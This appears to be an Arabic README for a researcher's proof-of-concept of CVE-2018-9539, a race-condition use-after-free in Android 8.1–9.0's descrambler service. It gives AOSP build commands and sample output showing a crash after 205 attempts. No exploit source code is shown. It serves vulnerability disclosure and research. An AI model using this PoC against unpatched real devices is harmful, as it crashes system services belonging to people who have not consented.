
كود PoC لـ CVE-2018-9539
رمز إثبات المفهوم لـ CVE-2018-9539
إذا كانت لديك أي أسئلة، يمكنك مراسلتي مباشرة على Twitter (@tamir_zb).
لبناء هذا:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_race_uaf
تشغيل هذا PoC ضد إصدار غير مصحح من Android (8.1-9.0 قبل نوفمبر 2018) يجب أن يؤدي إلى use-after-free. لاحظ أن هذا PoC ليس مخصصًا حقًا للتشغيل على Android 8.1، لأنه يتوقع أن يتسبب UaF في تعطل الخدمة، وهو ما يحدث فقط في Android 9.0، لذا فإن تشغيل هذا PoC على Android 8.1 سيؤدي إلى حلقة لا نهائية.
فيما يلي مثال على إخراج تشغيل هذا PoC على Android 9.0:
Objects prepared
Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...
Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...
...
...
...
Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...
Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)
Succeeded in 205 attempts